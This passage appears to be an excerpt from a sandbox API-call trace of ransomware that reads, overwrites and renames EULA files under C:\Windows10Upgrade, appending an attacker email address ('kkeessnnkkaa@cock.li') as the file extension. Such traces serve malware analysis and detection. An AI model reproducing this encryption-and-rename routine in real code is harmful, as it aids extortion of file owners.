	[0088.545] WriteFile (in: hFile=0x1ba4, lpBuffer=0x4fff008*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2bb3fa3c, lpOverlapped=0x0 | out: lpBuffer=0x4fff008*, lpNumberOfBytesWritten=0x2bb3fa3c*=0xc800, lpOverlapped=0x0) returned 1
	[0088.546] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fff008) returned 1
	[0088.546] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ff2800) returned 1
	[0088.546] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x33) returned 0x477b2e8
	[0088.546] SetFilePointerEx (in: hFile=0x1ba4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.546] WriteFile (in: hFile=0x1ba4, lpBuffer=0x4772080*, nNumberOfBytesToWrite=0x117, lpNumberOfBytesWritten=0x2bb3fabc, lpOverlapped=0x0 | out: lpBuffer=0x4772080*, lpNumberOfBytesWritten=0x2bb3fabc*=0x117, lpOverlapped=0x0) returned 1
	[0088.548] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4772080) returned 1
	[0088.548] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477af68) returned 1
	[0088.548] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47dd0) returned 1
	[0088.548] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477b2e8) returned 1
	[0088.548] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d58) returned 1
	[0088.548] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f88) returned 1
	[0088.548] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d08) returned 1
	[0088.548] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f10) returned 1
	[0088.548] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x4924898
	[0088.548] wcscpy (in: _Dest=0x4924898, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm"
	[0088.548] wcscat (in: _Dest=0x4924898, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0088.548] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2bb3fa74, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0088.548] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x477d028
	[0088.549] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477d028) returned 1
	[0088.549] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea060) returned 1
	[0088.549] NtQueryInformationFile (in: FileHandle=0x1ba4, IoStatusBlock=0x2bb3fa80, FileInformation=0x2bb3fa58, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2bb3fa80, FileInformation=0x2bb3fa58) returned 0x0
	[0088.549] NtSetInformationFile (FileHandle=0x1ba4, IoStatusBlock=0x2bb3fa80, FileInformation=0x2bb3fa58, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0088.549] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4924898) returned 1
	[0088.550] FlushFileBuffers (hFile=0x1ba4) returned 1
	[0093.256] CloseHandle (hObject=0x1ba4) 

Thread:
	id = 1262
	os_tid = 0x11d0

	[0088.542] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sv-se.htm")) returned 0x20
	[0088.545] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm", dwFileAttributes=0x20) returned 1
	[0088.546] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sv-se.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ba8
	[0088.547] GetFileSizeEx (in: hFile=0x1ba8, lpFileSize=0x2bbbf860 | out: lpFileSize=0x2bbbf860*=70391) returned 1
	[0088.549] SetFilePointerEx (in: hFile=0x1ba8, liDistanceToMove=0x112f3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.550] ReadFile (in: hFile=0x1ba8, lpBuffer=0x2bbbf7e4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2bbbf7e0, lpOverlapped=0x0 | out: lpBuffer=0x2bbbf7e4*, lpNumberOfBytesRead=0x2bbbf7e0*=0x4, lpOverlapped=0x0) returned 1
	[0088.551] SetFilePointerEx (in: hFile=0x1ba8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.551] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e48
	[0088.551] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f88
	[0088.551] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0088.551] NtQuerySystemTime (in: CurrentTime=0x2bbbf7c0 | out: CurrentTime=0x2bbbf7c0*=132251868152881787) returned 0x0
	[0088.551] RtlRandom (in: Seed=0x2bbbf7cc | out: Seed=0x2bbbf7cc) returned 0x80ad4e79
	[0088.551] RtlRandom (in: Seed=0x2bbbf7cc | out: Seed=0x2bbbf7cc) returned 0x1176c2c3
	[0088.551] RtlRandom (in: Seed=0x2bbbf7cc | out: Seed=0x2bbbf7cc) returned 0xeee8e7b3
	[0088.551] RtlRandom (in: Seed=0x2bbbf7cc | out: Seed=0x2bbbf7cc) returned 0xfb25be63
	[0088.551] RtlRandom (in: Seed=0x2bbbf7cc | out: Seed=0x2bbbf7cc) returned 0x179722bc
	[0088.551] RtlRandom (in: Seed=0x2bbbf7cc | out: Seed=0x2bbbf7cc) returned 0xcb2fceb7
	[0088.552] RtlRandom (in: Seed=0x2bbbf7cc | out: Seed=0x2bbbf7cc) returned 0x6f25a898
	[0088.552] RtlRandom (in: Seed=0x2bbbf7cc | out: Seed=0x2bbbf7cc) returned 0x4c52c666
	[0088.552] RtlRandom (in: Seed=0x2bbbf7cc | out: Seed=0x2bbbf7cc) returned 0x90f98422
	[0088.552] RtlRandom (in: Seed=0x2bbbf7cc | out: Seed=0x2bbbf7cc) returned 0x1a74577d
	[0088.552] RtlRandom (in: Seed=0x2bbbf7cc | out: Seed=0x2bbbf7cc) returned 0xc8e8a6d8
	[0088.552] RtlRandom (in: Seed=0x2bbbf7cc | out: Seed=0x2bbbf7cc) returned 0x7a2a51f5
	[0088.552] RtlRandom (in: Seed=0x2bbbf7cc | out: Seed=0x2bbbf7cc) returned 0xde740681
	[0088.552] RtlRandom (in: Seed=0x2bbbf7cc | out: Seed=0x2bbbf7cc) returned 0x8d1b7904
	[0088.552] RtlRandom (in: Seed=0x2bbbf7cc | out: Seed=0x2bbbf7cc) returned 0xce977a33
	[0088.552] RtlRandom (in: Seed=0x2bbbf7cc | out: Seed=0x2bbbf7cc) returned 0x70b28d94
	[0088.552] RtlRandom (in: Seed=0x2bbbf7cc | out: Seed=0x2bbbf7cc) returned 0xafd8f924
	[0088.552] RtlRandom (in: Seed=0x2bbbf7cc | out: Seed=0x2bbbf7cc) returned 0x6067e03
	[0088.552] RtlRandom (in: Seed=0x2bbbf7cc | out: Seed=0x2bbbf7cc) returned 0xd7bd97aa
	[0088.552] RtlRandom (in: Seed=0x2bbbf7cc | out: Seed=0x2bbbf7cc) returned 0xf79507c9
	[0088.552] RtlRandom (in: Seed=0x2bbbf7cc | out: Seed=0x2bbbf7cc) returned 0x1a203f08
	[0088.552] RtlRandom (in: Seed=0x2bbbf7cc | out: Seed=0x2bbbf7cc) returned 0xa3e63651
	[0088.552] RtlRandom (in: Seed=0x2bbbf7cc | out: Seed=0x2bbbf7cc) returned 0x56dafc31
	[0088.552] RtlRandom (in: Seed=0x2bbbf7cc | out: Seed=0x2bbbf7cc) returned 0xb90497e4
	[0088.552] RtlRandom (in: Seed=0x2bbbf7cc | out: Seed=0x2bbbf7cc) returned 0xc12d0387
	[0088.552] RtlRandom (in: Seed=0x2bbbf7cc | out: Seed=0x2bbbf7cc) returned 0xe5f26bbb
	[0088.552] RtlRandom (in: Seed=0x2bbbf7cc | out: Seed=0x2bbbf7cc) returned 0x954fa5b0
	[0088.552] RtlRandom (in: Seed=0x2bbbf7cc | out: Seed=0x2bbbf7cc) returned 0xd167f453
	[0088.552] RtlRandom (in: Seed=0x2bbbf7cc | out: Seed=0x2bbbf7cc) returned 0xf3ff824d
	[0088.552] RtlRandom (in: Seed=0x2bbbf7cc | out: Seed=0x2bbbf7cc) returned 0xf1b4748e
	[0088.552] RtlRandom (in: Seed=0x2bbbf7cc | out: Seed=0x2bbbf7cc) returned 0x457d8171
	[0088.552] RtlRandom (in: Seed=0x2bbbf7cc | out: Seed=0x2bbbf7cc) returned 0x57f72e3e
	[0088.582] SetFilePointerEx (in: hFile=0x1ba8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.582] ReadFile (in: hFile=0x1ba8, lpBuffer=0x4ff2800, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2bbbf7a0, lpOverlapped=0x0 | out: lpBuffer=0x4ff2800*, lpNumberOfBytesRead=0x2bbbf7a0*=0xc800, lpOverlapped=0x0) returned 1
	[0088.583] SetFilePointerEx (in: hFile=0x1ba8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.583] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0088.583] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0088.583] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0088.583] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0088.584] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4fff008
	[0088.584] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d58
	[0088.584] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d80
	[0088.585] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d80) returned 1
	[0088.585] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0088.585] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0088.585] WriteFile (in: hFile=0x1ba8, lpBuffer=0x4fff008*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2bbbf7a0, lpOverlapped=0x0 | out: lpBuffer=0x4fff008*, lpNumberOfBytesWritten=0x2bbbf7a0*=0xc800, lpOverlapped=0x0) returned 1
	[0088.586] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fff008) returned 1
	[0088.586] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ff2800) returned 1
	[0088.586] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x29) returned 0x2d7bff8
	[0088.586] SetFilePointerEx (in: hFile=0x1ba8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.586] WriteFile (in: hFile=0x1ba8, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x2bbbf820, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2bbbf820*=0x10d, lpOverlapped=0x0) returned 1
	[0088.587] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0088.587] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7c0d8) returned 1
	[0088.587] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47dd0) returned 1
	[0088.587] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7bff8) returned 1
	[0088.587] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d58) returned 1
	[0088.587] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f88) returned 1
	[0088.588] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d08) returned 1
	[0088.588] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f10) returned 1
	[0088.588] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481ae88
	[0088.588] wcscpy (in: _Dest=0x481ae88, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm"
	[0088.588] wcscat (in: _Dest=0x481ae88, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0088.588] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2bbbf7d8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0088.588] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47ea060
	[0088.590] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea060) returned 1
	[0088.590] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2d860) returned 1
	[0088.590] NtQueryInformationFile (in: FileHandle=0x1ba8, IoStatusBlock=0x2bbbf7e4, FileInformation=0x2bbbf7bc, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2bbbf7e4, FileInformation=0x2bbbf7bc) returned 0x0
	[0088.590] NtSetInformationFile (FileHandle=0x1ba8, IoStatusBlock=0x2bbbf7e4, FileInformation=0x2bbbf7bc, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0088.591] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ae88) returned 1
	[0088.591] FlushFileBuffers (hFile=0x1ba8) returned 1
	[0093.256] CloseHandle (hObject=0x1ba8) 

Thread:
	id = 1263
	os_tid = 0x13dc

	[0088.587] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_th-th.htm")) returned 0x20
	[0088.588] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm", dwFileAttributes=0x20) returned 1
	[0088.589] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_th-th.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1bac
	[0088.590] GetFileSizeEx (in: hFile=0x1bac, lpFileSize=0x2bc3f74c | out: lpFileSize=0x2bc3f74c*=254145) returned 1
	[0088.591] SetFilePointerEx (in: hFile=0x1bac, liDistanceToMove=0x3e0bd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.591] ReadFile (in: hFile=0x1bac, lpBuffer=0x2bc3f6d0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2bc3f6cc, lpOverlapped=0x0 | out: lpBuffer=0x2bc3f6d0*, lpNumberOfBytesRead=0x2bc3f6cc*=0x4, lpOverlapped=0x0) returned 1
	[0088.592] SetFilePointerEx (in: hFile=0x1bac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.592] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e48
	[0088.592] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f88
	[0088.592] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0088.593] NtQuerySystemTime (in: CurrentTime=0x2bc3f6ac | out: CurrentTime=0x2bc3f6ac*=132251868153350398) returned 0x0
	[0088.593] RtlRandom (in: Seed=0x2bc3f6b8 | out: Seed=0x2bc3f6b8) returned 0x99115fcd
	[0088.593] RtlRandom (in: Seed=0x2bc3f6b8 | out: Seed=0x2bc3f6b8) returned 0xaa6b76e5
	[0088.593] RtlRandom (in: Seed=0x2bc3f6b8 | out: Seed=0x2bc3f6b8) returned 0x9cfd0b5e
	[0088.593] RtlRandom (in: Seed=0x2bc3f6b8 | out: Seed=0x2bc3f6b8) returned 0xfe7e8cfe
	[0088.593] RtlRandom (in: Seed=0x2bc3f6b8 | out: Seed=0x2bc3f6b8) returned 0x48bde601
	[0088.593] RtlRandom (in: Seed=0x2bc3f6b8 | out: Seed=0x2bc3f6b8) returned 0xbf6e8916
	[0088.593] RtlRandom (in: Seed=0x2bc3f6b8 | out: Seed=0x2bc3f6b8) returned 0x5573adc5
	[0088.593] RtlRandom (in: Seed=0x2bc3f6b8 | out: Seed=0x2bc3f6b8) returned 0x2185b5bc
	[0088.593] RtlRandom (in: Seed=0x2bc3f6b8 | out: Seed=0x2bc3f6b8) returned 0x990a0bfd
	[0088.593] RtlRandom (in: Seed=0x2bc3f6b8 | out: Seed=0x2bc3f6b8) returned 0x45de4789
	[0088.593] RtlRandom (in: Seed=0x2bc3f6b8 | out: Seed=0x2bc3f6b8) returned 0xb805d58d
	[0088.593] RtlRandom (in: Seed=0x2bc3f6b8 | out: Seed=0x2bc3f6b8) returned 0xd04415ec
	[0088.593] RtlRandom (in: Seed=0x2bc3f6b8 | out: Seed=0x2bc3f6b8) returned 0xe8fa5acb
	[0088.593] RtlRandom (in: Seed=0x2bc3f6b8 | out: Seed=0x2bc3f6b8) returned 0xa3d1265f
	[0088.593] RtlRandom (in: Seed=0x2bc3f6b8 | out: Seed=0x2bc3f6b8) returned 0x4c11189e
	[0088.593] RtlRandom (in: Seed=0x2bc3f6b8 | out: Seed=0x2bc3f6b8) returned 0x80c26f4a
	[0088.593] RtlRandom (in: Seed=0x2bc3f6b8 | out: Seed=0x2bc3f6b8) returned 0xd0855ecb
	[0088.593] RtlRandom (in: Seed=0x2bc3f6b8 | out: Seed=0x2bc3f6b8) returned 0x18fb1f92
	[0088.593] RtlRandom (in: Seed=0x2bc3f6b8 | out: Seed=0x2bc3f6b8) returned 0x33a73ac7
	[0088.593] RtlRandom (in: Seed=0x2bc3f6b8 | out: Seed=0x2bc3f6b8) returned 0x288e3c7b
	[0088.593] RtlRandom (in: Seed=0x2bc3f6b8 | out: Seed=0x2bc3f6b8) returned 0x504e8d99
	[0088.593] RtlRandom (in: Seed=0x2bc3f6b8 | out: Seed=0x2bc3f6b8) returned 0xc42a7565
	[0088.593] RtlRandom (in: Seed=0x2bc3f6b8 | out: Seed=0x2bc3f6b8) returned 0x66319dd
	[0088.593] RtlRandom (in: Seed=0x2bc3f6b8 | out: Seed=0x2bc3f6b8) returned 0x8c36e9bc
	[0088.593] RtlRandom (in: Seed=0x2bc3f6b8 | out: Seed=0x2bc3f6b8) returned 0x9dcd594f
	[0088.593] RtlRandom (in: Seed=0x2bc3f6b8 | out: Seed=0x2bc3f6b8) returned 0x195ca7e8
	[0088.593] RtlRandom (in: Seed=0x2bc3f6b8 | out: Seed=0x2bc3f6b8) returned 0xa1ec5baa
	[0088.593] RtlRandom (in: Seed=0x2bc3f6b8 | out: Seed=0x2bc3f6b8) returned 0xe52c8a50
	[0088.593] RtlRandom (in: Seed=0x2bc3f6b8 | out: Seed=0x2bc3f6b8) returned 0xe4896b72
	[0088.593] RtlRandom (in: Seed=0x2bc3f6b8 | out: Seed=0x2bc3f6b8) returned 0x36b2a9a1
	[0088.593] RtlRandom (in: Seed=0x2bc3f6b8 | out: Seed=0x2bc3f6b8) returned 0x152aa617
	[0088.593] RtlRandom (in: Seed=0x2bc3f6b8 | out: Seed=0x2bc3f6b8) returned 0x50d69633
	[0088.601] SetFilePointerEx (in: hFile=0x1bac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.601] ReadFile (in: hFile=0x1bac, lpBuffer=0x4ff2800, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2bc3f68c, lpOverlapped=0x0 | out: lpBuffer=0x4ff2800*, lpNumberOfBytesRead=0x2bc3f68c*=0xc800, lpOverlapped=0x0) returned 1
	[0088.602] SetFilePointerEx (in: hFile=0x1bac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.602] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0088.602] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0088.602] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0088.602] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0088.603] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4fff008
	[0088.604] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d58
	[0088.604] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d80
	[0088.604] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d80) returned 1
	[0088.604] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0088.604] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0088.604] WriteFile (in: hFile=0x1bac, lpBuffer=0x4fff008*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2bc3f68c, lpOverlapped=0x0 | out: lpBuffer=0x4fff008*, lpNumberOfBytesWritten=0x2bc3f68c*=0xc800, lpOverlapped=0x0) returned 1
	[0088.605] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fff008) returned 1
	[0088.605] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ff2800) returned 1
	[0088.605] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x29) returned 0x2d7bff8
	[0088.605] SetFilePointerEx (in: hFile=0x1bac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.605] WriteFile (in: hFile=0x1bac, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x2bc3f70c, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2bc3f70c*=0x10d, lpOverlapped=0x0) returned 1
	[0088.607] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0088.607] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7c0d8) returned 1
	[0088.607] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47dd0) returned 1
	[0088.607] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7bff8) returned 1
	[0088.607] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d58) returned 1
	[0088.607] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f88) returned 1
	[0088.607] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d08) returned 1
	[0088.607] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f10) returned 1
	[0088.607] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481ae88
	[0088.607] wcscpy (in: _Dest=0x481ae88, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm"
	[0088.607] wcscat (in: _Dest=0x481ae88, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0088.607] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2bc3f6c4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0088.607] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47ea060
	[0088.608] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea060) returned 1
	[0088.608] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2d860) returned 1
	[0088.608] NtQueryInformationFile (in: FileHandle=0x1bac, IoStatusBlock=0x2bc3f6d0, FileInformation=0x2bc3f6a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2bc3f6d0, FileInformation=0x2bc3f6a8) returned 0x0
	[0088.608] NtSetInformationFile (FileHandle=0x1bac, IoStatusBlock=0x2bc3f6d0, FileInformation=0x2bc3f6a8, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0088.609] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ae88) returned 1
	[0088.609] FlushFileBuffers (hFile=0x1bac) returned 1
	[0093.257] CloseHandle (hObject=0x1bac) 

Thread:
	id = 1264
	os_tid = 0x1288

	[0088.606] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_tr-tr.htm")) returned 0x20
	[0088.609] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm", dwFileAttributes=0x20) returned 1
